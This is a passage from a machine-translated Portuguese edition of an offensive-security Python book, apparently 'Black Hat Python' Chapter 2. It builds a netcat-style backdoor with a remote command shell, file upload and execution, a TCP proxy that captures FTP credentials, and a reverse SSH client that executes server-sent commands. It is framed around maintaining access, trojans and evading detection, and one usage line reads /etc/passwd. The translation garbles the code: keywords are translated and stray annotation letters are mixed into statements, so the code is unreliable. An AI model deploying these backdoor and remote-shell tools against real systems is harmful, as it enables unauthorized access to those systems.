criaremos uma estrutura de trojan remota. Vamos começar.

Rede Python em um parágrafo


Os programadores têm diversas ferramentas de terceiros para criar servidores e
clientes em rede em Python, mas o módulo principal de todas essas ferramentas é o
soquete. Este módulo expõe todas as peças necessárias para escrever rapidamente clientes
e servidores TCP e UDP, usar soquetes brutos e assim por diante. Para fins de invasão ou
manutenção de acesso às máquinas alvo, este módulo é tudo que você realmente precisa.
Vamos começar criando alguns clientes e servidores simples, os dois scripts de rede
rápidos mais comuns que você escreverá.

Cliente TCP

Houve inúmeras vezes durante os testes de penetração que precisei preparar um cliente
TCP para testar serviços, enviar dados inúteis, fuzz ou qualquer outra tarefa. Se você
estiver trabalhando dentro dos limites de ambientes corporativos de grande porte, não terá
o luxo de ferramentas de rede ou compiladores e, às vezes, sentirá falta do básico absoluto,
como a capacidade de copiar/colar ou uma conexão com a Internet. É aqui que a capacidade
de criar rapidamente um cliente TCP é extremamente útil. Mas chega de tagarelice - vamos
começar a codificação. Aqui está um cliente TCP simples.

soquete de importação

target_host = "www.google.com"
porta_alvo = 80

# cria um objeto soquete


você cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#conecte o cliente
v client.connect((target_host,target_port))

#envia alguns dados


w client.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")

#recebe alguns dados


x resposta = client.recv(4096)

imprimir resposta

Primeiro criamos um objeto socket com os parâmetros AF_INET e SOCK_STREAM .


eter você. O parâmetro AF_INET indica que usaremos um endereço ou nome de host
IPv4 padrão, e SOCK_STREAM indica que será um endereço TCP

10 Capítulo 2

www.it-ebooks.info
Machine Translated by Google

cliente. Em seguida, conectamos o cliente ao servidor v e enviamos alguns dados w.


A última etapa é receber alguns dados de volta e imprimir a resposta x.
Esta é a forma mais simples de cliente TCP, mas é a que você escreverá com mais frequência.

No trecho de código acima, estamos fazendo algumas suposições sérias


sobre soquetes que você definitivamente deseja conhecer. A primeira suposição é que
nossa conexão sempre será bem-sucedida e a segunda é que o servidor sempre espera que
enviemos os dados primeiro (ao contrário dos servidores que esperam enviar dados para
você primeiro e aguardam sua resposta). Nossa terceira suposição é que o servidor sempre
nos enviará os dados em tempo hábil. Fazemos essas suposições em grande parte por uma
questão de simplicidade. Embora os programadores tenham opiniões variadas sobre como
lidar com o bloqueio de soquetes, o tratamento de exceções em soquetes e assim por
diante, é muito raro que os pentesters incluam essas sutilezas nas ferramentas rápidas e sujas
para trabalho de reconhecimento ou exploração, por isso vamos omita-os neste capítulo.

Cliente UDP
Um cliente Python UDP não é muito diferente de um cliente TCP; precisamos fazer apenas
duas pequenas alterações para que ele envie pacotes no formato UDP.

soquete de importação

target_host = "127.0.0.1"
porta_alvo = 80

# cria um objeto soquete


você cliente = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

#envia alguns dados


v client.sendto("AAABBBCCC",(target_host,target_port))

#recebe alguns dados


w dados, endereço = client.recvfrom(4096)

imprimir dados

Como você pode ver, alteramos o tipo de soquete para SOCK_DGRAM u ao criar o
objeto soquete. O próximo passo é simplesmente chamar sendto() v, passando os dados e o
servidor para o qual deseja enviar os dados. Como o UDP é um protocolo sem conexão, não
há chamada prévia para connect() . A última etapa é chamar recvfrom() w para receber dados
UDP de volta. Você também notará que ele retorna os dados e os detalhes do host e da porta
remotos.
Novamente, não pretendemos ser programadores de rede superiores; nós queremos
para ser rápido, fácil e confiável o suficiente para lidar com nossas tarefas diárias de
hacking. Vamos prosseguir para a criação de alguns servidores simples.

A Rede: Noções Básicas 11

www.it-ebooks.info
Machine Translated by Google

Servidor TCP
Criar servidores TCP em Python é tão fácil quanto criar um cliente. Você pode querer usar seu próprio
servidor TCP ao escrever shells de comando ou criar um proxy (faremos ambos mais tarde).
Vamos começar criando um servidor TCP multithread padrão. Execute o código abaixo:

soquete de importação
importar threading

bind_ip = "0.0.0.0"
bind_port = 9999

servidor = soquete.socket(socket.AF_INET, soquete.SOCK_STREAM)

você server.bind((bind_ip,bind_port))

v servidor.listen(5)

print "[*] Escutando em %s:%d" % (bind_ip,bind_port)

# este é o nosso tópico de atendimento ao cliente


w def handle_client(client_socket):

#imprime o que o cliente envia


solicitação = client_socket.recv(1024)

imprimir "[*] Recebido: %s" % solicitação

# envia de volta um pacote


cliente_socket.send("ACK!")

cliente_socket.close()

enquanto Verdadeiro:

x cliente, endereço = server.accept()

print "[*] Conexão aceita de: %s:%d" % (addr[0],addr[1])

# ative nosso thread de cliente para lidar com os dados recebidos


client_handler = threading.Thread(target=handle_client,args=(cliente,))
e client_handler.start()

Para começar, passamos o endereço IP e a porta que queremos que o servidor


ouça você. Em seguida, dizemos ao servidor para começar a escutar v com um backlog máximo
de conexões definido como 5. Em seguida, colocamos o servidor em seu loop principal, onde ele
aguarda uma conexão de entrada. Quando um cliente conecta x, recebemos o soquete do cliente
na variável client e os detalhes da conexão remota na variável addr . Em seguida, criamos um novo
objeto thread que

12 Capítulo 2

www.it-ebooks.info
Machine Translated by Google

aponta para nossa função handle_client e passamos a ela o objeto soquete do cliente como
argumento. Em seguida, iniciamos o thread para lidar com a conexão do cliente y, e nosso loop do
servidor principal está pronto para lidar com outra conexão de entrada.
A função handle_client w executa recv() e então envia uma mensagem simples de volta ao cliente.

Se você usar o cliente TCP que construímos anteriormente, poderá enviar alguns testes
pacotes para o servidor e você deverá ver uma saída como esta:

[*] Ouvindo em 0.0.0.0:9999


[*] Conexão aceita de: 127.0.0.1:62512
[*] Recebido: ABCDEF

É isso! Muito simples, mas este é um trecho de código muito útil que
Estenderemos nas próximas seções quando construirmos um substituto do netcat e um proxy
TCP.

Substituindo o Netcat
O Netcat é o canivete da rede, então não é surpresa que administradores de sistemas astutos
o removam de seus sistemas. Em mais de uma ocasião, encontrei servidores que não possuem
o netcat instalado, mas possuem Python. Nesses casos, é útil criar um cliente e servidor de
rede simples que você possa usar para enviar arquivos ou ter um ouvinte que forneça acesso à
linha de comando. Se você invadiu um aplicativo da web, definitivamente vale a pena descartar um
retorno de chamada do Python para fornecer acesso secundário sem precisar primeiro gravar um
de seus cavalos de Tróia ou backdoors. Criar uma ferramenta como essa também é um ótimo
exercício de Python, então vamos começar.

sistema de importação

soquete de importação
importar getopt
importar threading
subprocesso de importação

#define algumas variáveis globais


ouvir = Falso
comando = Falso
carregar = Falso
execute o = ""
= ""
destino
""
upload_destination = porta
=0

Aqui, estamos apenas importando todas as nossas bibliotecas e configurações necessárias


algumas variáveis globais. Nenhum trabalho pesado ainda.

A Rede: Noções Básicas 13

www.it-ebooks.info
Machine Translated by Google

Agora vamos criar nossa função principal responsável por lidar com argumentos
de linha de comando e chamar o restante de nossas funções.

u def uso(): print


"BHP Net Tool" print
print
"Uso: bhpnet.py -t target_host -p port" print "-l --listen
- escuta em [host]:[porta] para ¬ conexões de entrada"

print "-e --execute=file_to_run - executa o arquivo fornecido em ¬


recebendo uma conexão"
print "-c --command - inicialize um shell de comando"
print "-u --upload=destino - ao receber a conexão, carregue um arquivo ¬ e
grave em [destino]"
print
print
print "Exemplos:"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" print
"bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe " imprimir
"bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"" imprimir "echo
'ABCDEFGHI' ./bhpnet.py -t 192.168.11.12 -p 135" sys.exit(0)

def main():
escuta global
porta global
global executa
comando global
global upload_destination
destino global

se não len(sys.argv[1:]):
uso()

# leia as opções da linha de comando e


em tente:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ¬
["ajuda","ouvir","executar","destino","porta"," comando","upload"])
exceto getopt.GetoptError como err:
print str(err)
uso()

para o,a in opts: if o in


("-h","--help"): uso() elif o in ("-l","--
listen"):
listen = True

elif o in ("-e", "--execute"): execute = a

elif o in ("-c", "--commandshell"): comando = True

elif o in ("-u", "--upload"):


upload_destination = a

14 Capítulo 2

www.it-ebooks.info
Machine Translated by Google

elif o in ("-t", "--target"):


alvo = um
elif o in ("-p", "--port"):
porta = int(a)
outro:
assert False,"Opção não tratada"

# vamos ouvir ou apenas enviar dados do stdin?


Em se não, listen e len(target) e port > 0:

# lê o buffer na linha de comando


# isso irá bloquear, então envie CTRL-D se não estiver enviando a entrada
# para stdin
buffer = sys.stdin.read()

# envia dados
cliente_sender(buffer)

# vamos ouvir e potencialmente # fazer upload


de coisas, executar comandos e soltar um shell de volta
# dependendo das opções de linha de comando acima
se ouvir:
x server_loop()

principal()

Começamos lendo todas as opções da linha de comando v e definindo


as variáveis necessárias dependendo das opções que detectamos. Se algum dos
parâmetros da linha de comando não corresponder aos nossos critérios, imprimiremos
informações úteis de uso. No próximo bloco de código w, estamos tentando imitar o netcat
para ler dados do stdin e enviá-los pela rede. Conforme observado, se você planeja enviar
dados de forma interativa, será necessário enviar um ctrl-D para ignorar a leitura stdin. A
parte final x é onde detectamos que devemos configurar um soquete de escuta e
processar comandos adicionais (carregar um arquivo, executar um comando, iniciar um
shell de comando).
Agora vamos começar a instalar o encanamento para alguns desses recursos, começar
com nosso código de cliente. Adicione o seguinte código acima de nossa função principal .

def cliente_sender(buffer):

cliente = soquete.socket(socket.AF_INET, soquete.SOCK_STREAM)

tentar:
# conecte-se ao nosso host alvo
client.connect((destino,porta))

em if len(buffer):
client.send(buffer)

A Rede: Noções Básicas 15

www.it-ebooks.info
Machine Translated by Google

enquanto Verdadeiro:

# agora espere pelos dados de volta


recv_len = 1
""
resposta =

em enquanto recv_len:

dados = cliente.recv(4096)
recv_len = len(dados)
resposta+= dados

se recv_len <4096:
quebrar

imprimir resposta,

# espere por mais informações


Em buffer = raw_input("") buffer
+= "\n"

#envie
cliente.enviar(buffer)

exceto:

print "[*] Exceção! Saindo."

# desfaz a conexão
cliente.fechar()

A maior parte deste código já deve parecer familiar para você. Começamos configurando
nosso objeto de soquete TCP e então testamos você para ver se recebemos alguma entrada do
stdin. Se tudo estiver bem, enviamos os dados para o destino remoto e recebemos de volta os dados
v até que não haja mais dados para receber. Em seguida, esperamos por mais informações do usuário

w e continuamos enviando e recebendo dados até que o usuário elimine o script. A quebra de linha
extra é anexada especificamente à entrada do usuário para que nosso cliente seja compatível com
nosso shell de comando. Agora seguiremos em frente e criaremos nosso loop de servidor primário
e uma função stub que irá lidar com a execução de nossos comandos e nosso shell de comando
completo.

def server_loop():
meta global

# se nenhum alvo for definido, escutamos em todas as interfaces


se não for len(destino):
alvo = "0.0.0.0"

servidor = soquete.socket(socket.AF_INET, soquete.SOCK_STREAM)


server.bind((destino,porta))

16 Capítulo 2

www.it-ebooks.info
Machine Translated by Google

servidor.listen(5)

enquanto Verdadeiro:

client_socket, endereço = server.accept()

# criar um tópico para lidar com nosso novo cliente


cliente_thread = threading.Thread(target=client_handler, ¬
args=(cliente_socket,))
cliente_thread.start()

def run_command(comando):

#corta a nova linha


comando = comando.rstrip()

# execute o comando e recupere a saída


tentar:
em saída = subprocess.check_output (comando, stderr = subprocesso. ¬ STDOUT, shell
= True)
exceto:
output = "Falha ao executar o comando.\r\n"

# envia a saída de volta ao cliente


saída de retorno

Até agora, você já tem experiência na criação de servidores TCP completos com threading,
então não vou me aprofundar na função server_loop . O run_command
function, entretanto, contém uma nova biblioteca que ainda não abordamos: a biblioteca de
subprocessos . subprocess fornece uma interface poderosa de criação de processos que oferece
diversas maneiras de iniciar e interagir com programas clientes.
Nesse caso, estamos simplesmente executando qualquer comando que passamos, executando-
o no sistema operacional local e retornando a saída do comando de volta ao cliente que está
conectado a nós. O código de tratamento de exceções detectará erros genéricos e retornará
uma mensagem informando que o comando falhou.

Agora vamos implementar a lógica para fazer upload de arquivos, execução de comandos e
nosso shell.

def client_handler(client_socket):
carregamento global
execução global
comando global

# verifica o upload
em if len(destino_upload):

# lemos todos os bytes e escrevemos em nosso destino


""
arquivo_buffer =

# continue lendo os dados até que nenhum esteja disponível

A Rede: Noções Básicas 17

www.it-ebooks.info
Machine Translated by Google

em enquanto Verdadeiro:

dados = client_socket.recv(1024)

se não forem dados:


quebrar
outro:
arquivo_buffer += dados

# agora pegamos esses bytes e tentamos escrevê-los


Em tentar:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
arquivo_descriptor.close()

# reconhecemos que escrevemos o arquivo


client_socket.send("Arquivo salvo com sucesso em ¬
%s\r\n" % upload_destination)
exceto:
client_socket.send("Falha ao salvar o arquivo em %s\r\n" % ¬
upload_destination)

# verifica a execução do comando


se len(executar):

#executa o comando
saída = run_command(executar)

client_socket.send(saída)

# agora entramos em outro loop se um shell de comando foi solicitado


x se comando:

enquanto Verdadeiro:

# mostra um prompt simples


client_socket.send("<BHP:#> ")

# agora recebemos até vermos um avanço de linha ¬ (tecla


enter)
""
cmd_buffer =
enquanto "\n" não está em cmd_buffer:
cmd_buffer += client_socket.recv(1024)

# envia de volta a saída do comando


resposta = run_command(cmd_buffer)

#envia de volta a resposta


client_socket.send(resposta)

Nosso primeiro pedaço de código u é responsável por determinar se nossa ferramenta de


rede está configurada para receber um arquivo quando recebe uma conexão. Isso pode

18 Capítulo 2
www.it-ebooks.info
Machine Translated by Google

ser útil para exercícios de upload e execução ou para instalar malware e fazer com que
o malware remova nosso retorno de chamada Python. Primeiro recebemos os dados do
arquivo em um loop v para garantir que recebemos tudo, e então simplesmente abrimos
um identificador de arquivo e escrevemos o conteúdo do arquivo. O sinalizador wb garante
que estamos gravando o arquivo com o modo binário habilitado, o que garante que o
upload e a gravação de um executável binário serão bem-sucedidos. Em seguida,
processamos nossa funcionalidade execute w, que chama nossa função run_command
escrita anteriormente e simplesmente envia o resultado de volta pela rede. Nosso último
trecho de código lida com nosso comando shell x; ele continua a executar comandos à
medida que os enviamos e envia de volta a saída. Você notará que ele está procurando um
caractere de nova linha para determinar quando processar um comando, o que o torna
compatível com o netcat. No entanto, se você estiver invocando um cliente Python para
falar com ele, lembre-se de adicionar o caractere de nova linha.

Chutando os pneus

Agora vamos brincar um pouco com isso para ver algum resultado. Em um terminal ou
shell cmd.exe , execute nosso script assim:

justin $ ./bhnet.py -l -p 9999 -c

Agora você pode iniciar outro terminal ou cmd.exe e executar nosso script no modo
cliente. Lembre-se de que nosso script está lendo stdin e fará isso até que o marcador EOF
(fim de arquivo) seja recebido. Para enviar EOF, pressione Ctrl-D no teclado:

justin $ ./bhnet.py -t localhost -p 9999


<CTRL-D>
<BHP:#> ls -la
total 32
drwxr-xr-x 4 equipe de justin 136 18 de dezembro 19:45 .
drwxr-xr-x 4 equipe de justin 136 9 de dezembro 18:09 ..
-rwxrwxrwt 1 equipe de justin 8498 19 de dezembro 06:38 bhnet.py
-rw-r--r-- 1 justin staff 844 10 de dezembro 09:34 listagem-1-3.py
<BHP:#> senha
/Usuários/justin/svn/BHP/código/Capítulo2
<BHP:#>

Você pode ver que recebemos de volta nosso shell de comando personalizado
e, como estamos em um host Unix, podemos executar alguns comandos locais e
receber de volta alguma saída como se tivéssemos feito login via SSH ou estivéssemos
na caixa localmente. Também podemos usar nosso cliente para enviar solicitações da
maneira boa e antiga:

justin$ echo -ne "GET / HTTP/1.1\r\nHost: www.google.com\r\n\r\n" | ./bhnet. ¬py -t www.google.com


-p 80

HTTP/1.1 302 encontrado


Localização: http://www.google.ca/
Controle de cache: privado
Tipo de conteúdo: texto/html; conjunto de caracteres=UTF-8

A Rede: Noções Básicas 19

www.it-ebooks.info
Machine Translated by Google

P3P: CP="Esta não é uma política P3P! Consulte http://www.google.com/support/ ¬accounts/bin/


answer.py?hl=pt-BR&answer=151657 para obter mais informações."
Data: Quarta, 19 de dezembro de 2012 13:22:55 GMT
Servidor: gws
Comprimento do conteúdo: 218
Proteção X-XSS: 1; modo=bloco
Opções de quadro X: SAMEORIGIN

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">


<TITLE>302 movido</TITLE></HEAD><BODY>
<H1>302 movido</H1>
O documento foi movido
<A HREF="http://www.google.ca/">aqui</A>.
</BODY></HTML>
[*] Exceção! Saindo.

justin $

Ai está! Não é uma técnica supertécnica, mas é uma boa base


dação sobre como hackear alguns soquetes de cliente e servidor em Python
e usá-los para o mal. Claro, é dos fundamentos que você mais precisa: use a
imaginação para expandi-la ou melhorá-la. A seguir, vamos construir um proxy
TCP, que é útil em vários cenários ofensivos.

Construindo um proxy TCP


Há vários motivos para ter um proxy TCP em seu conjunto de ferramentas, tanto
para encaminhar o tráfego para saltar de host para host, mas também para
avaliar software baseado em rede. Ao realizar testes de penetração em
ambientes corporativos, você normalmente se deparará com o fato de que
não pode executar o Wireshark, que não pode carregar drivers para detectar o
loopback no Windows ou que a segmentação da rede impede que você execute
suas ferramentas diretamente. contra seu host alvo. Empreguei um proxy
Python simples em vários casos para ajudar a entender protocolos
desconhecidos, modificar o tráfego enviado a um aplicativo e criar casos de teste para fuzzers.

sistema de importação

soquete de importação
importar threading
def server_loop(local_host,local_port,remote_host,remote_port,receive_first):

servidor = soquete.socket(socket.AF_INET, soquete.SOCK_STREAM)

tentar:
servidor.bind((local_host,local_port))
exceto:
print "[!!] Falha ao escutar em %s:%d" % (local_host,local_ ¬ porta)

print "[!!] Verifique se há outros soquetes de escuta ou corrija as permissões ¬."

sys.exit(0)

20 Capítulo 2
www.it-ebooks.info
Machine Translated by Google

print "[*] Escutando em %s:%d" % (local_host,local_port)

servidor.listen(5)

enquanto Verdadeiro:

client_socket, endereço = server.accept()

# imprime as informações da conexão local print "[==>]


Conexão de entrada recebida de %s:%d" % ¬ (addr[0],addr[1])

# inicia um thread para conversar com o host remoto


proxy_thread = threading.Thread(target=proxy_handler, ¬
args=(client_socket,remote_host,remote_port,receive_first))

proxy_thread.start()

def principal():

# nenhuma análise sofisticada de linha de


comando aqui if len(sys.argv[1:]) !
= 5: print "Uso: ./proxy.py [localhost] [localport] [remotehost] ¬ [remoteport]
[receive_first]" print "Exemplo: ./
proxy.py 127.0.0.1 9000 10.12.132.1 9000 Verdadeiro" sys.exit(0)

# configura parâmetros de escuta local


local_host = sys.argv[1] local_port
= int(sys.argv[2])

# configura o destino remoto


remote_host = sys.argv[3]
remote_port = int(sys.argv[4])

# isso diz ao nosso proxy para se conectar e receber dados #


antes de enviar para o host remoto
receiver_first = sys.argv[5]

se "True" em recebe_primeiro:
recebe_primeiro =
Verdadeiro senão:
receber_primeiro = Falso

# agora ativamos nosso soquete de escuta


server_loop(local_host,local_port,remote_host,remote_port,receive_first)

principal()

A maior parte disso deve parecer familiar: consideramos alguns argumentos de linha de comando
mentos e, em seguida, acione um loop de servidor que escuta conexões. Quando

A Rede: Noções Básicas 21

www.it-ebooks.info
Machine Translated by Google

Quando uma nova solicitação de conexão chega, nós a entregamos ao nosso proxy_handler, que
faz todo o envio e recebimento de bits interessantes para ambos os lados do fluxo de dados.

Vamos mergulhar na função proxy_handler agora adicionando o seguinte código acima de


nossa função principal .

def proxy_handler(socket_cliente, host_remoto, porta_remota, receber_primeiro):

#conecta-se ao host remoto


soquete_remoto = soquete.socket(socket.AF_INET,
soquete.SOCK_STREAM)
remote_socket.connect((host_remoto,porta_remota))

# recebe dados do terminal remoto, se necessário


você se recebe_primeiro:

em buffer_remoto = receber_de(socket_remoto)
Em hexdump(buffer_remoto)

# envie para nosso manipulador de resposta


x buffer_remoto=response_handler(buffer_remoto)

# se tivermos dados para enviar ao nosso cliente local, envie-os


se len(buffer_remoto):
print "[<==] Enviando %d bytes para localhost." % ¬len(buffer_remoto)

client_socket.send(remote_buffer)
# agora vamos fazer um loop e ler do local, #
enviar para o remoto, enviar para o local
# enxágue, lave, repita
enquanto Verdadeiro:

#leia do host local


local_buffer = receber_de(client_socket)

se len(local_buffer):

print "[==>] %d bytes recebidos do host local." % len(local_ ¬


amortecedor)

hexdump(local_buffer)

# envie para nosso manipulador de solicitações


local_buffer = request_handler(local_buffer)

# envia os dados para o host remoto


remote_socket.send(local_buffer)
print "[==>] Enviado para remoto."

22 Capítulo 2

www.it-ebooks.info
Machine Translated by Google

#recebe de volta a resposta


buffer_remoto = receber_de(socket_remoto)

se len(buffer_remoto):

print "[<==] %d bytes recebidos do controle remoto." %len(buffer_remoto)


hexdump(buffer_remoto)

#enviar para nosso manipulador de resposta


buffer_remoto=response_handler(buffer_remoto)

#envia a resposta para o socket local


client_socket.send(remote_buffer)

imprimir "[<==] Enviado para localhost."

# se não houver mais dados em nenhum dos lados, feche as conexões


e se não len(local_buffer) ou não len(remote_buffer): client_socket.close()

remote_socket.close()
print "[*] Não há mais dados. Fechando conexões."

quebrar

Esta função contém a maior parte da lógica do nosso proxy. Para começar, verificamos
se não precisamos primeiro iniciar uma conexão com o lado remoto e solicitar dados
antes de entrar em nosso loop principal u.
Alguns daemons de servidor esperam que você faça isso primeiro (servidores FTP normalmente
enviam um banner primeiro, por exemplo). Em seguida, usamos nossa função receiver_from
v, que reutilizamos para ambos os lados da comunicação; ele simplesmente recebe um
objeto de soquete conectado e executa um recebimento. Em seguida, despejamos o
conteúdo do pacote para que possamos inspecioná-lo em busca de algo interessante. Em
seguida, entregamos a saída para nossa função response_handler x. Dentro desta função, você
pode modificar o conteúdo do pacote, realizar tarefas de difusão, testar problemas de
autenticação ou qualquer outra coisa que desejar. Há uma função request_handler gratuita
que faz o mesmo para modificar o tráfego de saída. A etapa final é enviar o buffer recebido
ao nosso cliente local. O resto do código do proxy é simples: lemos continuamente do local,
processamos, enviamos para o remoto, lemos do remoto, processamos e enviamos para o local
até que não haja mais dados detectados.

Vamos reunir o restante de nossas funções para completar nosso proxy.

# esta é uma função de dumping bastante hexadecimal retirada diretamente de


# os comentários aqui:
# http://code.activestate.com/recipes/142812-hex-dumper/
você def hexdump(src, comprimento=16):
resultado = []
dígitos = 4 se isinstance(src, unicode) else 2

A Rede: Noções Básicas 23

www.it-ebooks.info
Machine Translated by Google

para i em xrange(0, len(src), comprimento):


s = src[i:i+comprimento]
hexa = b' '.join(["%0*X" % (dígitos, ord(x)) para x em s])
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append(b"%04X %-*s %s" % (i, comprimento*(dígitos + 1), hexa, ¬ texto) )

imprimir b'\n'.join(resultado)

v def receber_de(conexão):
""
buffer =

# Definimos um tempo limite de 2 segundos; dependendo


do seu # alvo, pode ser necessário ajustar isso
conexão.settimeout(2)

tentar:
# continue lendo no buffer até que # não haja mais
dados
# ou expiramos
enquanto Verdadeiro:

dados = conexão.recv(4096)

se não forem dados:


quebrar

buffer += dados

exceto:
passar

buffer de retorno

# modifica quaisquer solicitações destinadas ao host remoto


w def request_handler(buffer): # realiza
modificações no pacote
buffer de retorno

x # modifica quaisquer respostas destinadas ao host local


def response_handler(buffer):
#realiza modificações nos pacotes
buffer de retorno

Este é o pedaço final de código para completar nosso proxy. Primeiro criamos
nossa função hexadecimal u que simplesmente exibirá os detalhes do pacote
com seus valores hexadecimais e caracteres imprimíveis em ASCII. Isso é útil
para compreender protocolos desconhecidos, encontrar credenciais de usuários em
protocolos de texto simples e muito mais. A função receiver_from v é usada para
receber dados locais e remotos, e simplesmente passamos no soquete

24 Capítulo 2
www.it-ebooks.info
Machine Translated by Google

objeto a ser usado. Por padrão, há um tempo limite de dois segundos definido, que pode ser
agressivo se você estiver fazendo proxy de tráfego para outros países ou em redes com
perdas (aumente o tempo limite conforme necessário). O restante da função simplesmente
trata do recebimento de dados até que mais dados sejam detectados na outra extremidade
da conexão. Nossas duas últimas funções permitem modificar qualquer tráfego destinado
a qualquer extremidade do proxy. Isso pode ser útil, por exemplo, se credenciais de usuário
em texto simples estiverem sendo enviadas e você quiser tentar elevar privilégios em um
aplicativo passando admin em vez de justin. Agora que configuramos nosso proxy, vamos
dar uma olhada.

Chutando os pneus

Agora que temos nosso loop de proxy principal e as funções de suporte instaladas, vamos
testar isso em um servidor FTP. Abra o proxy com as seguintes opções:

justin$ sudo ./proxy.py 127.0.0.1 21 ftp.target.ca 21 Verdadeiro

Usamos sudo aqui porque a porta 21 é uma porta privilegiada e requer privilégios
administrativos ou de root para ouvi-la. Agora pegue seu cliente FTP favorito e configure-
o para usar localhost e porta 21 como host e porta remotos. Claro, você desejará apontar
seu proxy para um servidor FTP que realmente responderá a você. Quando executei isso
em um servidor FTP de teste, obtive o seguinte resultado:

[*] Ouvindo em 127.0.0.1:21


[==>] Conexão de entrada recebida de 127.0.0.1:59218
0000 32 32 30 20 50 72 6F 46 54 50 44 20 31 2E 33 2E 0010 33 61 20 220ProFTPD1.3.
53 65 72 76 65 72 20 28 44 65 62 69 61 0020 6E 29 20 5B 3A 3A 66 66 Servidor 3a (Debia
66 66 3A 35 30 2E 35 37 0030 2E 31 36 38 2E 39 33 5D 0D 0A [<==] n) [::ffff:22.22
Enviando 58 bytes para localhost. .22.22]..

[==>] Recebidos 12 bytes do host local.


0000 55 53 45 52 20 74 65 73 74 79 0D 0A [==>] Enviado USUÁRIO irritado..
para o controle remoto.
[<==] Recebidos 33 bytes do controle remoto.
0000 33 33 31 20 50 61 73 73 77 6F 72 64 20 72 65 71 0010 75 69 72 65 64 20 331 Solicitação de senha
66 6F 72 20 74 65 73 74 79 0D 0020 0A [<==] Enviado para localhost . usado para irritado.
.

[==>] Recebidos 13 bytes do host local.


0000 50 41 53 53 20 74 65 73 74 65 72 0D 0A [==>] Enviado PASSAR testador..
para o controle remoto.
[*] Não há mais dados. Fechando conexões.

Você pode ver claramente que conseguimos receber com sucesso o banimento de FTP.
ner e envie um nome de usuário e senha, e que ele saia corretamente quando o servidor
nos atacar por causa de credenciais incorretas.

A Rede: Noções Básicas 25

www.it-ebooks.info
Machine Translated by Google

SSH com Paramiko


Pivotar com BHNET é bastante útil, mas às vezes é aconselhável criptografar seu tráfego
para evitar detecção. Um meio comum de fazer isso é encapsular o tráfego usando Secure
Shell (SSH). Mas e se o seu alvo não tiver um cliente SSH (como 99,81943% dos sistemas
Windows)?
Embora existam ótimos clientes SSH disponíveis para Windows, como o Putty, este é
um livro sobre Python. Em Python, você poderia usar soquetes brutos e um pouco de magia
criptográfica para criar seu próprio cliente ou servidor SSH – mas por que criar quando
você pode reutilizar? Paramiko usando PyCrypto oferece acesso simples ao protocolo SSH2.

Para aprender como esta biblioteca funciona, usaremos Paramiko para fazer uma
conexão e executar um comando em um sistema SSH, configurar um servidor SSH e um
cliente SSH para executar comandos remotos em uma máquina Windows e, finalmente,
decifrar a demonstração do túnel reverso arquivo incluído com Paramiko para duplicar a opção
de proxy do BHNET. Vamos começar.
Primeiro, pegue o Paramiko usando o instalador pip (ou baixe-o em http://
www.paramiko.org/):

pip instalar paramiko

Usaremos alguns dos arquivos de demonstração mais tarde, então certifique-se de baixá-los
do site da Paramiko também.
Crie um novo arquivo chamado bh_sshcmd.py e digite o seguinte:

importar threading
importar paramiko
subprocesso de importação

ÿ def ssh_command(ip, usuário, senha, comando): cliente =


paramiko.SSHClient()
ÿ #client.load_host_keys('/home/justin/.ssh/known_hosts') ÿ
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, nome
de usuário=usuário, senha=senha)
ssh_session = cliente.get_transport().open_session()
se ssh_session.active:
ÿ ssh_session.exec_command(command)
imprimir ssh_session.recv(1024)
retornar

ssh_command('192.168.100.131', 'justin', 'lovesthepython','id')

Este é um programa bastante simples. Criamos uma função chamada ssh_command


ÿ, que faz uma conexão com um servidor SSH e executa um único comando. Observe que
Paramiko suporta autenticação com chaves ÿ
em vez de (ou além de) autenticação por senha. O uso da autenticação de chave SSH é
altamente recomendado em um envolvimento real, mas para facilitar o uso neste exemplo,
usaremos a autenticação tradicional de nome de usuário e senha.

26 Capítulo 2

www.it-ebooks.info
Machine Translated by Google

Como controlamos ambas as extremidades desta conexão, definimos a política


para aceitar a chave SSH do servidor SSH ao qual estamos nos conectando ÿ e fazer a
conexão. Finalmente, assumindo que a conexão foi feita, executamos o comando que
passamos na chamada para a função ssh_command em nosso exemplo, o comando id ÿ.

Vamos fazer um teste rápido conectando-nos ao nosso servidor Linux:

C:\tmp> python bh_sshcmd.py


Uid=1000(justin) gid=1001(justin) grupos=1001(justin)

Você verá que ele se conecta e executa o comando. Você pode modificar facilmente
este script para executar vários comandos em um servidor SSH ou executar comandos em
vários servidores SSH.
Assim, com o básico feito, vamos modificar nosso script para suportar a execução de
comandos em nosso cliente Windows por SSH. Claro, normalmente ao usar SSH, você usa um
cliente SSH para se conectar a um servidor SSH, mas como o Windows não inclui um servidor SSH
pronto para uso, precisamos reverter isso e enviar comandos de nosso servidor SSH para o cliente
SSH.
Crie um novo arquivo chamado bh_sshRcmd.py e digite o seguinte:2

importar threading
importar paramiko
subprocesso de importação

def ssh_command(ip, usuário, senha, comando): cliente


= paramiko.SSHClient()
#client.load_host_keys('/home/justin/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, nome de usuário=usuário, senha=senha)
ssh_session = cliente.get_transport().open_session()
se ssh_session.active:
ssh_session.send(comando)
imprimir ssh_session.recv(1024)#ler banner
enquanto Verdadeiro:

command = ssh_session.recv(1024) #obtém o comando do SSH ¬


servidor

tentar:
cmd_output = subprocess.check_output (comando, shell = True)
ssh_session.send(cmd_output)
